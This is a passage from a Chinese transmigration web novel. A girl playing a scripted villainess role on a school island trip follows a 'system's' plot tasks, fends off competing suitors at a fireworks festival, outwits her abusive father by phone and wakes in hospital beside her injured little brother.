他该有更明媚的结局。 电话结束后。 她起身趿着拖鞋,沉默盯着过于圆润、张牙舞爪的蜘蛛。 眨了眨眼,目光坚定。 而在沉默凝视里,蜘蛛忽然动了动。 阮柚如梦初醒,肩膀一缩,猛地退了退。 尔后,果断打消自己处理的念头,转身打电话叫前台。 然而一直占线。 刚好到了饭点,她索性换了衣服,直接出了房间。 一楼大厅敞亮舒适,刚拖完了地,地板都在发光。 她怕脚底打滑,走得小心翼翼,不期抬头,刚看看见了走来的李稚。 对方见到她眼睛一亮,神秘兮兮将她扯到了角落。 “阮柚,你知不知道那件事?” 阮柚茫然,“什么?” “就是江家最近发生的事情呀!” 江家? 她摇了摇头,脑海依旧一片空白。 剧情也没说呀。 李稚见她真不知道,忍不住叹了口气,“圣煜圈子里都传开了。” 她左顾右盼,压低声音凑到阮柚耳边,“江净理她妈闹自杀,差点在医院没救过来。” 阮柚心头一震。 什么? “听说他家里挺乱的。” 李稚摸了摸鼻尖,眼神有些敬畏,“毕竟家大业大,什么事情都会发生。” … 餐厅吃过饭后,阮柚看了看窗景,忍不住想了想剧情。 原文只是大概的轮廓。 在此之前,很多细节她都不知道。 但总感觉,现在的发展不尽人意。 灵光乍现,她吸了口椰汁,想起自己没有用完的“剧情修正卡” 修正一下不就好了。 然而—— 系统的话却浇灭了她燃起来的希望。 系统:“宿主,修正卡只对特定剧情特定人物有效。” 唔。 好吧。 阮柚肩膀耷拉了下来,眼底闪过丧气。 低头摆弄吸管时,有人拖过了她对面的凳子。 阮柚一抬头,余光同时捕捉到偷瞄的目光。 而后,看向对面的成玉。 他穿的很清爽,短袖短裤,肌肉流畅漂亮,很有活力。 少年笑容灿烂,单手托着下巴,什么嚣张气焰都收了起来,只剩柔软的一面。 “好巧啊。” 斜对面,打完情报的朋友朝他眨了眨眼睛。 眼神鼓励。 兄弟,我只帮你到这里了。 阮柚眼皮跳了跳,见他眉眼带笑,直直看着自己,下意识就想走。 总觉得要发生什么。 然而那人坐在对面。 自己也被迫黏在了座位,礼貌点了点下巴。 “我们真是太有缘了。” 成玉笑了起来,“在哪里都能遇见。” “是么。”阮柚干笑了两声,不怎么敢接这话。小岛就这么大,见面不可避免。更可况——和男主有缘,万万不可! 正想搪塞离开,她忽然觉察到另一处动静。 两人中间位置,被一只骨节分明的手拖了过去。 “在聊什么这么开心。” 嗓音清磁。 江净理靠了靠椅背,视线缓过,最后定在阮柚脸上。 外人听来,语气温柔熟稔。 成玉皱了皱眉,重重咬了咬牙齿。看向阴魂不散的人, “我们说悄悄话,关你什么事?” “悄悄话。”江净理挑了挑眉,重复过后,神情没有变化,“有什么,是我不能听的吗?” 一声没什么感情的问句。 但听者有意。 成玉目光冷了下来。 沉寂的空气里,想到两个字,“觊觎。” 自己的珍宝,也在被别人觊觎。 可她独一无二,美好无法复制,谁都想全然私有,那就只有抢了。 “有些话外人确实不能听。”成玉漫不经心一笑,手指随意敲着桌子,“毕竟谁都有隐私。” 江净理跟着一笑,云淡风轻地,似乎对方的话不痛不痒。 “就怕这里有人是自作多情。” 饶是阮柚再迟钝,也能感觉到气氛的不对。 但是,她现在来不及想那么多了。 因为怀里的手机铃声响了,看了眼,是前台的回拨。 她弱弱伸出手,动作示意。 “我先接个电话,你们慢慢聊。” 两人一下子静了静。 江净理仰起头,扯唇笑,“嗯,我等你。” 成玉觉得他装,认识真的多年,明明骨子冷的不行,偏要装作无害的样子。 于是乎,他升起一个更合适的念头,为了保护阮柚,他不能让对方接近她。 因此,他努力笑的比江净理更温柔、更无害。 他明明更好! 周围默默偷看的人均一愣。 圣煜两朵花。 一朵高岭之花,一朵霸王食人花。 今天都——开花了? 预约好上门时间后,阮柚看了看腕表,抬眸,冷不防瞥见宁糖的身影。 对方正掀开餐厅的门帘,低头往里走。 看起来心事重重的样子。 而此时—— 一段剧情钻在脑海里。 “被当场戳穿了背地里进厂打工的事情,阮柚羞怯之余,怒从胆边生,直接推开了宁糖往外走。” “没成想,这一幕都落在了旁观的少年眼里。从此对她仅存的好感都跌没了。” 阮柚微微吸了口气。 专业的任务者,从来都按照剧本来。 所以,现在应该走到女主身边吧? 果不其然,人一走到宁糖视野里,她就被抱了满怀。 对方仿佛将她视作了唯一的浮木,满满的信任,“阮柚,我真的觉得自己好没用。” 阮柚保持平静,“怎么了?” “上个月我打工的老板,一直拖欠我的工资。她不知道那对我来说意味着什么。” 阮柚嗯了声。 感受到周围视线扫过来,如有实质。 “和你打工的时候,他们从来不敢欺负你,也不会拖欠你的工资。我在想,我是不是太懦弱了,才会被他们欺负。” 周围很安静,都在往这边看。 包括坐在不远处的两人。 在圣煜,原身一直以虚假人设示人,大家都以为她是哪个不知名的暴发户,而不是需要打工赚钱的学生。 甫一被揭穿,阮柚视线僵硬了下来,唇抿地紧紧的,而后把宁糖推到一边。 尴尬、恼火、心虚、恰到好处。 “你说什么呢!” 她抿了抿唇看了眼有些茫然的宁糖,转身折返出了门。 走出门一刻,任务成功的提示音响了起来。任务成功,阮柚松了口气,紧接着,被淡淡的喜悦代替。人设快要崩塌,看来离任务成功真的不远了。 而室内。 大伙眼观鼻鼻观心,没人敢议论。 死一般的沉寂兀自膨胀。 成玉刚一起身,江净理就看向他,淡淡的,“去哪?” 成玉冷啧了声,也不藏着掖着,“去找阮柚。” 江净理:“这个时候,她不会想见你的。” 只剩他们俩,成玉彻底冷下来。 而后,目光一顿。拿起了她不小心留在桌上的钥匙。 少年扬了扬眉,钥匙勾在手指上,动作像极了耀武扬威,“我只是想给她送钥匙。” 钥匙是家里的钥匙。 不常用,也没有拿出来的机会,所以直到回了酒店也没有发现。 她一整个瘫倒在床上。 唔,好舒服。 尔后,又想起不久后的烟火节。 漫画设定里,在烟火节里,江净理和宁糖被人群挤在了一起,看了同一片烟花。 画风尤其唯美。 正想着接下来的剧情,手机突然震动了下。 顾叙发来的一条讯息,“班里聚会,我在楼下等你。” 阮柚睫毛微煽,回了个好。 几乎同时,成玉发来了消息。“学姐,你钥匙忘记带了,我现在在大厅。” 外加卖萌的表情包。 很难想象发来的人是成玉。 阮柚盯着时不时做wink的表情包,眼皮跳了跳。 一下子从床上爬了起来。 第40章 第四十章 海岛篇/一更 等阮柚下楼出去的时候, 第一眼看见的就是倚靠在栏杆那的成玉。走廊落地窗背靠金色海滩,少年低头绕玩着掌心的钥匙,神色有种说不出的专注。 等到她近了些, 才注意到脚步声。 他抬起头,笑意聚在了眼底,“这么快啊。” “我不小心把它忘在那了。” 阮柚率先出声, 接过了成玉递来的钥匙, 朝他道了声谢。 “给你添麻烦了。” 少年黑发笼了层阳光,整个人看起来柔软了些。“算不上麻烦啊。” 欸? 她落在口袋里的手指一缩, 愣愣看过去,又见他微抬下颌,慢悠悠出声,“如果这算麻烦的话——” 成玉重新低下头, 不急不缓笑了起来,“那你就一直麻烦我好了。” 这样, 不就能一直见面了么 阮柚眼睛闪了闪, 像是被直直透来的日光刺了一下。钥匙随着微小动作摩擦了衣料, 清凌凌的声音闷在兜里, 将一时沉默打破。 她抿了抿唇, 迟迟看向了他。 饶是再迟钝,也能感觉出对方的态度越来越不对劲。 成玉将她的小动作收入眼底,身影移了过去, 彻底重叠了她的视野。 少年顿了顿, 徘徊身侧的手指无意识的攥了攥, “我其实很想…” 他的嗓音低沉到微哑。 可话还未说完,就被一声好奇声钩去了心神。 "咦。" 少女皮肤清透白皙,干净的眸子晃过茫然, 向他方向看来,“好像少了颗小铃铛。” 她认真端详过钥匙,忽然见一只手伸了过来,他拨动过钥匙,指节不经意蹭过对方掌心,“不见了吗?” 阮柚低声,“嗯。” 成玉回答:“那我陪你回去找吧。” 不用不用。 本就是为了转移话题说的话,她一听,很快摇了摇脑袋,对上他专注的眼神后,心有些不规则的乱跳起来。 好像藏好的心思被发现似地。 但这次她不是错觉。 成玉将她眼底的抗拒看得分明,胸口有些发闷,仿佛巨石压在上般不舒服。 一时也不说话了。 “也可能是我记错了。” 见成玉蹙起了眉头,阮柚飞速补充,声音放的很轻,“我还有别的事,这次真的谢谢你了。” 成玉薄唇微抿,点了点头,可心情都写在了脸上。阳光底下乍一看去,像只急需主人顺毛的猫。 看她真要走了,他后槽牙咬了咬,最后还是道出三个字,“不客气。” 阮柚心里吁了口气,弯唇,“那我们下次见。” “下次见。” 下次什么时候会来? 三个字在说给她听,又仿佛在自言自语。 直到—— 一道熟悉的身影朝这里走了过来。 敛去的锐利重新出现。 顾叙眼眸划过意外,目光定在了阮柚身上,“找到你了。”他的眉眼疏淡,半开玩笑的语气里,夹杂者几分似有似无的亲密意味。 不像来找人的。 倒像是,过来领人的。 阮柚意识到让人等久了,有些不好意思应了声,可人刚一转身走去,身侧一只手就被拉了过去。 而后,在毫无准备的情况下退后,后脑勺倏然撞在了身后的少年怀里。 她睫毛不由闪了闪,嗓音闷在喉咙里,还未挣脱对方掌心,就感受到了胸腔在颤动。 成玉声音从头顶响起,情绪绷着,泛冷,“你找她做什么?” 他从小就认识顾叙,所以也知道,这人是圈子里最“讲规则”的人。会是站在宴会中心,即使旁人刻意谄媚,也能微笑应对,游刃有余像个假人。 可如今,最守规则的人,却忘了什么叫先来后到这个道理。 “和你没什么关系,成玉。” 顾叙笑意彻底褪去,伸手拦了过去,想把阮柚护回怀里。 可落了空。 阮柚眼疾手快钻了出来,她的皮肤很白,脸颊蔓延的粉顺过脖颈,连生气的样子都很鲜活灵动。 成玉握住后没用什么力道,她站定后没多久就挣了开来,再抬眸,直直看向了罪魁祸首。 刚才搪塞说假话的心虚也一扫而光。 搞、什、么! 可几乎同时,发现两人都在看她。 两人的视线热到像黏在身上,带着读不懂的专注炙热。 她蜷了蜷手心,迟钝感觉到氛围很不对劲。 懵懵懂懂想起一句话:兜兜转转,可能当事人也是她自己。 “对不起。” 成玉最先出声,他半截肩膀被顾叙挡在了身后,也没怎么在意的样子,只剩愧疚,“我不会再这样了。” 少年道歉诚意十足,可说出去的话却让人眉心一跳,“刚刚没弄疼你吧。” 怪异感一瞬划过心头,阮柚朝他摇了摇头,下巴抬了抬,“但你不能再这样了。” 学聪明了,趁机立下规矩。 “好,我记住了。” 成玉站姿规矩。 顾叙脸色不太好看,灰眸沉到能滴水,在她说完了话,就走了过来。 拖长的身影就这样笼住了她,隔绝发生的一切。 “我们走吧。” 他的嗓音温淡,只字不提刚才的插曲,“就差我们了呢。” 仿佛这里只剩他们。 ! 阮柚呼吸一紧,杂乱思绪瞬间清空,就差他们了? 她赶忙道,“不好意思啊。” 她赶忙跟在顾叙身边,着急想跑,听他在身边笑了下,“不急,我不是在这么。” 唔。 阮柚摸了摸鼻尖,心就这样安定了些。 成玉望着两人背影,握紧的手指骨节泛白,迟迟没有离去。 刚才是他失态了。 这种时候,最不该明抢。 / 班里商议完烟火节的事项,就自行活动了。 沙滩椅上,李稚从书包里掏出漫画,看的尤其认真。路过同学见状忍不住笑她,“你怎么到哪都离不开漫画呀。” 李稚抬眸,甩他一个“你懂什么”目光,又看向抱着饮料放空的阮柚。 “阮柚,这本漫画更新了!” 嗯?被抓过去注意后,心被勾得痒了痒。阮柚爱好比较单一,追更漫画就是其中之一,她忍不住凑过去小脑袋,见李稚手背捂着那一页,藏着掖着不给她看,忍不住用指腹戳了戳她。 “怎么了?” 见周围人少了,李稚眉眼松了松,开玩笑,“想给你一个惊喜。” 尔后,李稚的手背一抬,男女主接吻的一页就这么跳跃在眼前。 画的细节十足,让人忍不住脸红心跳。 李稚抱着看来看去,笑的像个傻子,“两人终于修成正果了。” “对呀。” 阮柚也被甜到了,捧腮蹲在那里看的认真,却不小心被什么砸中了脑袋。 很轻地触感,有什么顺着头发、肩膀滑了下来。 花被李稚捡了起来时,她还是一脸蒙。 刚看完少女漫,李稚瞬间点燃了八卦的雷达,最后锁定在走来的顾叙身上。 少年穿着基础白T,却难掩身上的贵气,双手搭在膝盖,弯腰在和蹲在地上的人讲话,温声细语地,“不好意思。” “刚才在整理花,风不小心把它吹过来了。” 阮柚哦了声,没放在心上,“没关系的。” 但李稚作为旁观者。 她怎么瞧,都能瞧出两人周围仿佛自带的粉色滤镜。 看了眼待人温柔却疏离的班长大人。 又愈发觉得确定了。 她掏出手机,忍不住悄悄拍了张照片。 阮柚这边不知道李稚精彩的脑回路,她觉得海风吹在人身上人舒服,懒洋洋的,干净助眠。 心情都变得轻快起来了。 海岛烟花节正式开始是晚上。阮柚换上了漂亮的裙子,对着镜子看了很久,很满意出了门。 夜幕降临,天空暗到只剩几颗星。 排排路灯光线柔和,她穿过石板窄路时,听见系统发布任务的声音。 总结起来,眼前的任务有两个。 第一,必要时撮合江、宁两人一起看烟花的剧情。第二,必要时请在维持人设基础上,修正剧情发展。 第二条听起来宽泛,她听得云里雾里,直到系统给了她具体解答。 是一段有关原著的剧情。 女配阮柚的父亲不久前出狱了,不知从哪里听来了消息,认为他们一大家子抛下了他,都去帝都享福去了。他在圣煜蹲了几天,没见到人,反倒被当成流浪汉赶远了。恶狠狠痛骂有钱人同时,他心里凝上念头,臭丫头就在圣煜上学,肯定不缺奖金花,傍上这颗摇钱树,未来岂不是一片坦途,想喝什么酒没有? 敢躲,他就去学校闹。 反正他也不怕丢人。 于是乎,给她发来了短信。 阮邮步伐贼顿,面无表情扫了眼手机屏幕。 “你们仨赔钱货,是不是忘了我还活着。” 和剧情写的一样,对方仿佛能顺着网线爬过来似的,语气阴恻恻地。 阮柚低头看了会儿,尔后点开了短信输入框。 恰在此时,熟悉的系统的电子音响了起来。 怕阮柚领会错了,它解释的更通俗易懂。 【系统:宿主你现在要做的,就是按照剧情设定去维持人设,倚仗对江净理的救命之恩解决此事,从而耗费他的好感、引起他的怀疑。】 这样呀。 阮柚眉心一动,但想想也说的通,谁愿意被一个假恩人当工具人利用呢? 等真相揭穿那刻,应该就差不多翻车了吧。 阮柚对它嗯了声,低头扫了眼屏幕,脑海飘过系统刚才的提示。 唔。 回复消息要深刻表现出害怕,但又要按照人设去强装淡定。 认真思索了一会儿,阮柚低着垂下睫毛,将琢磨好的消息发了过去。 “是的,没想到您还在喘气。” 隔了几秒,细白手指又戳了戳。“我好怕。” 网络没缓冲,很顺畅发送成功。 大功告成。 系统登时沉默“:。” 这是好、怕?魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-50 第41章 第四十一章 海岛烟花 暮色渐浓, 墨色铺展在了天际,刚下过雨的空气透着些许湿凉,吹在胳膊泛着丝丝冷意。阮柚往前走了几步, 略高的墙面刚好挡住了晚风。 消息发送后,阮柚“惴惴不安”地将手机收回了口袋。 果不其然,那头很快就拨来了电话。铃声在昏昧的窄巷异常清晰, 像一道催命符一般反复鼓噪着耳廓, 颇有种誓不罢休的意味。 阮柚心里慢慢叹了口气,手指一滑, 尔后接听了电话。还未开口,听筒那边就传来骂骂咧咧的声音,对方应是喝了些酒,声调不怎么稳定:“小兔崽子, 你翅膀硬了是不是,居然敢这么和老子说话。” 乍一听上去, 有些震耳。 阮柚将听筒离远了些, 手指无聊抠了抠墙面, 觉察到消停时才开口, “有什么事吗?” 原身厌恶父亲的同时, 也在心底留存着对他的恐惧,所以总无意识暴露出那一点软弱、退步。对方便是瞅见了这一点,才得以变本加厉, 毕竟软肋谁都有, 能让自己吸血的人也只有这些有血缘纽带的人了。 他哼哼两声, 阴阳怪气起来,“你们学校的人,真不知道都是什么人。” 阮柚蹙了蹙眉, 等对方继续说了下去。 阮父:“我前几天去那里拜访,都没人来欢迎我。我和他们说我的女儿就在那里读书,他们问我要你的学号,我哪知道你的学号是什么,你们什么都不告诉我,要不是我打听了下,还不知道你们都背着我去帝都享福去了。” “等等——”阮柚摸了摸鼻尖,忍不住出声纠正:“可你又没问我呀。 她的语气弱弱的,听起来没什么气势。 阮父觉察到她的态度,心里舒坦些,想好的威胁暂时咽在了喉咙,“好,那你说。” “那你听好了。”阮柚抿了抿唇角,听见模糊飘来的交谈声,不再拖沓,“一。” 语气认真,“四。” 阮父:“嗯。” 阮柚报完了:“二、五、零。” 电话那头阮父敷衍应了声,这野丫头别的先不说,性子倒是听话了不少,比之前更好拿捏了,这下看来之前赌输的酒钱弄回来有戏了。 “现在听清楚了吗?” 阮柚垂睫,很轻问了遍,语气颇为耐心。 这让阮父听着心里更舒坦了,但转而再次腾起那股无名火。他在监狱过苦日子,这几人过着逍遥快活的日子,这让他怎么咽下这口气? 他把学号死死记在了心里。 “现在我知道你的学号了——” 阮父刻意一顿,刚打算要钱,却被她淡声打断。 “唔,所以你听清楚了。” 昏暗阴影下,少女眉眼平静,没有兴起半点波澜。慢吞吞复述了一遍事实后,她才渐渐绽出一些笑,眸色很干净,“我的学号,就是我现在想对你说的话。” 阮父眼珠缓慢凝住,一时半会没反应过来。 但摇摇晃晃走了两步,忽地转念一想—— 妈的! 意识到被耍后他怒火中烧,可回应他的却是一长串的嘟嘟音。 谁给她的胆子! 晚风的速度消减了不少,电话挂断走出来后,阮柚步伐都轻盈了起来。 想象了下对面之后的反应,她忍不住翘了翘唇间,一时畅快了许多。 略略略。 说话那么难听,活该被她耍。 就在这时,系统默默提醒:“请宿主时刻保持好人设,推动剧情发展。” 一声提醒,惹来一阵心虚。 她乖乖应了声好。 她身形微顿,还未来得及应话,有人喊住了她,是几个认识的同学。 其中包括李稚。 “阮柚。” 她热情地挥了挥手,“我们要去找树屋,你要一起来吗?” “好啊。” 阮柚笑了下,想都没想就答应了下来。 因为树屋这段是写在剧情里的。这座海岛葱郁盎然,因美景闻名的同时也流行着一些古老传说。 山峦深处的树屋缠着藤蔓蜿蜒而上,甚至比周围许多山树都要高。传说是以前的守岛人为了看见远在天边的爱人,耗费多年心血才搭建起来的。 “后来嘛。” 讲故事的李稚双手贴在胸口,语气夸张,“就变得挺浪漫,据说很多人到了那个树屋没多久,就遇见真正的爱情了。” 话音一落,周围很配合地哇了一声。 “刚好那里地方开阔,也方便看烟花。” 同学附和道,他觉得自己真聪明,提前带出来了相机。这叫什么,这叫先见之明! 手机的冷白照线直直在凹凸的土路,阮柚跟在了旁边,低头不知道在想什么。 李稚见状眯了眯眼,好奇将脖子伸了过去,“阮柚,你期不期待呀。” 阮柚闻言,对上她的目光,下意识点了点头。 “期待。” ——才怪。 脚踝处隐约泛着疼,痛感随着走路越来越重。刚才她想事情没留神,踩在了一块凸起石头上,之后很不幸地扭了一下脚。 但现在快到了,她不想耽误任务进度,于是拖着腿到了目的地。 山上是另一副天地。和预想的不同,漂亮的雕花灯笼挂在树枝上,将视野一下子照得敞亮起来。 人来人往,交流声不断。世界一下子鲜活了起来。 李稚也有些惊讶:“真的多人啊。” 阮柚眸色一顿,这时有人走到了她身边。 “嗯。” “今天不仅有烟花,还有流星雨。” 说话的人则是顾叙。 灯笼的暖光映在少年的灰眸,让他笑起来更柔和了,“没想到会在这里见到你们。” 他看了过来,“我以为你去海边了。” 那里有篝火,很多人在那边拍照玩闹。 最后一句话是单说给一个人听的。 李稚瞬间心领神会,随便编了个理由,就借口离开了。忘了,阮柚哪里需要去找树屋。 人不就在她身边吗! 李稚毫不拖泥带水的动作引起了阮柚的注意,她下意识蹙了蹙眉,唇线微抿,不让身边人看出半分异样。 毕竟现在她的半颗心,全挂在任务上。 可顾叙还是看出了她的魂不守舍。 他在一片热闹里侧眸,问阮柚如果看见流星雨,想许什么类型的愿望。 阮柚看了过去,对视上视线后,跟着浮起几分认真,“许愿就会实现吗?” 再反应过来,感觉问得有些傻乎乎,不切实际。刚想在说些什么,却听见一声笃定的回答,“会。” 少年睫毛微动,语气慢条斯理,“因为总有人会想方设法,实现你的愿望的。” 而这道声音被冲散在人群骤然绽开的惊喜声里。漆黑无边的夜空,烟花登时绽开了璀璨弧线,阮柚仰起脖子,想着顾叙刚才的笃定,心里突然安静了下来。 她不贪心,愿望很简单纯粹。 那就是能回家。 视线渐渐回归了清明。略略下移之际,阮柚无意捕捉到一道很熟悉的身影,是穿着碎花长裙的宁糖。 她想起今天的任务,维持人设推动剧情的同时,还要撮合她和江净理站在一起看烟花。 事不宜迟。 而一转头,就对上了顾叙看来的目光。他似乎安静看了很久,可她脸上—— 阮柚迟疑摸了摸脸颊,确定没沾上什么后,这才问,“怎么了?” 又被发现了啊。 顾叙微垂下眼尾,放在口袋的定制项链串被掌心护的严严实实,但迟迟没有掏出来。 她会喜欢这份礼物吗? 顾叙:“没什么,烟花真美。” “我也觉得。” 阮柚附和了一句,低头看了眼手表,笑盈盈地,“顾叙,我还有其他的事,先走了等会聊。” 顾叙一愣,唇绷直了些,尔后朝她点了点头。 “好,等会见。” 修长的手指随着心脏落了空,项链就这么坠在了口袋的深处,少年看了眼消失人群的背影,有些自嘲地笑了下。 今天会送出去的吧。 — 阮柚忍不住嘶了口凉气。她低头看了眼脚踝,随着时间推移,已经有微微肿起来的迹象。 唔。 有些水逆。 她终于还是停了停。 晚风吹的很温柔,窸窣摩擦过树叶,荡起树枝上的灯笼和风铃。阮柚坐在石椅上,迟迟没再发现两人身影后,决定守株待兔。 毕竟这里是必经之地嘛。 这时,怀里的手机震了震。阮柚低头看,是一条短信。 “姐姐对不起。” 看内容应该是小阮时。她眉心一动,隔着屏幕都能想象对方低头丧气的落寞。 嗯? 放在屏幕的指尖一顿,阮柚拿不定主意。好端端地,和她说对不起做什么? 心中逐渐生出疑惑。 询问一通后,直到屏幕自动熄灭,对方没在发来消息。 而思考时,头顶忽然罩下一道身影。 那人将什么很轻地戴在了她的头上,动作行云流水,一声轻笑出现在空气里。!! 熟悉的木香清冷而疏离,在骤然靠近的距离里格外地清晰。 阮柚僵直坐正,条件反射仰起头。 先入目的是少年冷白修长的脖颈,对方垂下头,凸起的喉结随笑声微滚,双臂不经意撑在了长背两侧,就这么自然而然笼住了她。 阮柚睫毛颤了颤,甫一对视上,莫名有些慌神。 什么情况。 江净理他什么时候过来她身后的! 细碎不一的光斑就这样投在了他的侧脸,江净理慢条斯理站好,随口问,“在这做什么?” 阮柚拉开了距离,后知后觉又想起脑袋冷不防增加的重量,下意识摸了把。 而后,摸到了一只兔耳朵,痒痒团在了掌心。毛绒绒的兔耳朵耷拉在头顶,还在非常绚丽、张扬的闪动光彩。 阮柚眼皮倏然一跳,不知道他为什么这样,但唯一确定的是——她自认铁骨铮铮,绝不当幼稚鬼! 于是乎,很快就要拿下来,却被江净理按了下动作,问她,“不喜欢吗?” 你说呢! 阮柚慢悠悠、无声胜有声地丢给他一个眼神。又想起自己人设在身,眼前人可是不久后要抱的大腿,所以一时没开口说话。 头箍摘了下来,她顺了顺头发。 江净理哦了声,接过兔耳头箍,像是知道了。 既然她不喜欢,它也就没有存在的价值了。 阮柚这才想起他之前问的那句话。 在这做什么。 “我在看风景。” 总不能说,在等他们吧。 江净理:“是么。” 他的眼底浮起笑意,看了眼她眼前的风景,“我还以为在等什么人。” 少年语气漫不经心,没怎么放在心上的感觉。 阮柚眼睛闪了闪,忍不住捏了下手指:“…” 她没有,别乱说。 第42章 第四十二章 一个请求 * 莫名地, 阮柚心跳有种不安定的感觉。 一拍接过一拍,像极了心虚在作祟。 江净理安静下来后,就这么坐在了她身边。 两人面前是熙攘穿梭的人群。 热闹相衬, 倒显地现下氛围有些奇怪。 “你喜欢热闹吗?” 阮柚冷不防听到他的声音。 少年略略抬眼,嗓音清淡寻常,但看来的眼神却透着十足的认真。 “……喜欢。” 虽然不知道他为什么要这么问, 但阮柚还是认真地答了。 时间一分一秒的过。 她下意识环视四周, 终于瞥见一道熟悉的身影。 那是——宁糖! 她眼前顿时一亮。 少女心系任务,将心不在焉写在脸上, 全然没注意身边人的目光。 在专注描摹对方每寸神情,鲜活、灵动,焕然周遭一切的色彩。 一如最初。 烟花时间点快要到了。 阮柚听见了系统催促。 撮合男女主的任务迫在眉睫,她想找个借口先离开。 而这时, 江净理忽然发问:“脚怎么了?” 他注意到了细节。 唔? 阮柚浑身一僵。 没多久,感受到一丝冰凉的异样。 定睛一看, 江净理蹲在了她面前。 捧起了那只白皙脚腕, 指骨很轻地力道, 像是羽毛被风卷着扫过皮肤。 陌生的体温源源不绝融了过来。 两人距离倏然拉得很近, 灯笼昏茫的灯影缓慢游离, 少女脚踝莹白细嫩,被覆过来的指节全然捧起,留下的印痕莫名多了丝暧/昧。 “不要。” 阮柚本能想避开。 她低着头, 觉得两人过于亲密了。 “不是最怕疼了吗?” 江净理抬起了眼, 灯光下他的眼睛漂亮柔和, 黑色额发随意扫开,全然映着眼前的人。 “我帮你叫医生过来,好不好?” 他站了起来, 清冷气息沾染过来。 “不要。” 阮柚想都没想就拒绝了。 意识到自己说的话有些硬邦邦,她屈拳咳了咳,慢吞缩了缩腿,“我没那么娇气。” 话语稍顿,她正色,“现在已经好多了。” 更何况,重点可不是这个啊喂! 与表面云淡风轻比,阮柚如今的内心可谓焦灼万分,火急火燎地烧。 她需要完成这个关键任务。 正所谓剧情由一段段大小高潮递进升温地。而毫不意外,男女主共赏烟花的浪漫情节,当然可以称得上一个重要的桥段。 她很快把刚才感受的怪异消化了大概。 毕竟江净理现在还误会她是救命恩人呢,这应该就是、救命恩人的优待吧? 两人聊天间隙。 沉寂的人群忽然骚动起来。有人扬起了头,仪式感十足的喊了声倒计时 无疑是今天最重要的环节。 鼓噪的人声唤回了阮柚所有的理智。 熙攘流动的人潮里,阮柚看了眼身边的江净理,心一横,手指戳了戳他。 她扬扬小脑袋,“看烟花啊,很漂亮的。” 少女眼睛笑成了小月牙,眼眸烁着亮亮的光辉。 让人移不开眼。 而不知为何,江净理很配合地照做了。 他略略抬睫,看了眼远处风景。 漆黑无边的夜空,只有寥寥分布的几颗星。山上夜风习习,清泠泠摆弄山树上雕花灯笼,一切安然平和。 身后。 人们不约而同进行倒计时,江净理沉默听着,眉眼冷清。 与热闹置身事外的疏离感。 再低头,已然没了她的身影。 不出所料。 他轻笑了声,胸口堆压的情绪闷闷的,像是拉他入黑暗。 真是,不乖啊- 阮柚忍着钝痛,终于找到了人群里的宁糖。 对方看见了她,一脸藏不住的惊喜,但还未及时打招呼,袖子就被扯了扯。 “宁糖,我知道一个看烟花的绝佳地方。” 阮柚抿了抿唇,语气十分坚定。 两人避让行人往前走。 “啊?好啊,谢谢你阮柚。” 迟钝领会到什么,宁糖一笑,瞥了眼她的神色,意识到几分不对劲。 “你脸色好苍白啊,是哪里不舒服吗?” 她关心地询问。 “没有。” 阮柚下意识就要否认。 对方步伐略顿,她听着系统催促,忍不住回头看她。 头顶烟花已然绽开。 阮柚声音不大,催促的话模糊在鼎沸人潮里。 “怎么了?” 而偏巧这时,她的手腕被人从身边抓住。 冰凉地触感缠绕而过,惊地阮柚猛地后退,突然加重的痛觉让她忍不住轻嘶了一声。 什么情况? 手腕力道骤松,眼前成玉放大的俊颜,少年收敛了锋芒,黑睫垂着,充满关切紧张,“你没事吧?” 他低着头,像是做错事、动作不知所措。 “你说呢?”饶是阮柚再好的性子,也忍不住反问了句。 而且……更疼了! “对不起,我不是故意的。” “先不说了,我还有事。” 事不宜迟,她连铺垫都省去了。 拉着宁糖,着急忙慌给她指了方向,“就是那边!” “阮柚,你不陪我一起看么?” 宁糖一愣,眼底光芒微微淡下,“我的意思是……” “不行哦,学姐是我的。”成玉适时接了话。 他挑了挑眉稍,笑容灿烂极了。 可说出去的话却很让人误会,至少是面前的宁糖。 宁糖呆呆地,面露恍然。 好像信以为真了什么。 阮柚静静看着。 任务当前,自然也没去解释什么,催着她走。 “我还有其他事,你快去吧。” 左看看右看看,最后宁糖点了点头,不再坚持什么。 望着逐渐消失的背影,阮柚紧绷精神骤然一松,呼了一口气。 天边烟花像是把整片天幕点燃了一般。 阮柚看了眼,被惊艳的移不开目光。 而这时候人群不知看见了什么,推着人涌动,略略失神的功夫,她被人推了一个踉跄。 “阮柚!” 熟悉的声音近在眼前。 再抬眸,眼前却忽然一黑,呼吸洒在陌生的锁骨,逐渐丧失了全部意识- 阮柚醒来时,拇指正被一只小小的手钩住。 对方小心翼翼地,乖巧趴在床边,生怕吵醒了她。 温暖阳光透窗充斥在病房。细微颗粒浮动在半空。 素日未见,阮时头发留长了些,整个人比先前更瘦了,像是营养不良。 阮柚缓慢动了动眼皮。 感受到几分异样,阮时从睡梦里转醒,幼圆的眼睛怔怔看向她。 四目交接。 尔后,接收到一个灿烂无比的微笑。 阮柚心口空空地,没说话,因为对方模样实在算不上好。 新伤叠着旧伤,下巴瘦的只剩骨头,饶是她再想表现铁石心肠,也还是忍不住想:躺在这里休息的应该不是自己才对。 “姐姐!你终于醒了。” 小阮时嗓音脆生生的,试探抓住了她的手,再得到她默许后,满眼都是惊喜和信任。 阮柚忽然间问,“我给你们的钱呢?” “姐姐……” 阮时一愣,头落寞低下来。 像是不知所措、无依无靠的幼兽。 “伤怎么来得,被他打的?” 阮柚拨开他发黄的头发,那里是触目惊心的青紫。 答案昭然若揭,她觉得阮父真不是什么人。这么小的孩子都能下得去手。 “对不起,姐姐……给你惹麻烦了。”小阮时头低到快埋在被角了,缀着哭腔,小手却抓地紧紧的。 “他打妈妈,所以我……” 小阮时低下头,有些哽咽,“我不像让他打妈妈,就把钱给他了。” 话落,阮柚怒火中烧。 “真不是个好人!” 阮柚重重拍了拍床,眼睛亮的像攒火。 她想起原漫本来的设定,原身父亲嗜赌成性,对家人的态度就是吸血虫。如今看来,不仅是吸血虫,连半点人性的温情也没有。 她抿了抿唇,听见了阮时再次开口。 小阮时:“他说要来学校找你,姐姐,你藏好,不要让他找到好吗?” 阮柚看向了他。 对方的眼眸澄澈,关心全然纯粹。 【系统:任务发布。】 熟悉的系统音适时出现,阮柚心情还未消下去,一阵敲门的声音出现在病房门。 唤回了她的注意力。 小阮时眨了眨红通通的眼睛,头转过来,不知所措看着阮柚。 他害怕阮父找了过来。 小手握得更紧,像是什么应激反应。 没什么安全感,只能满心依赖着眼前人。 阮柚暗暗叹了口气。选择了回握过去。 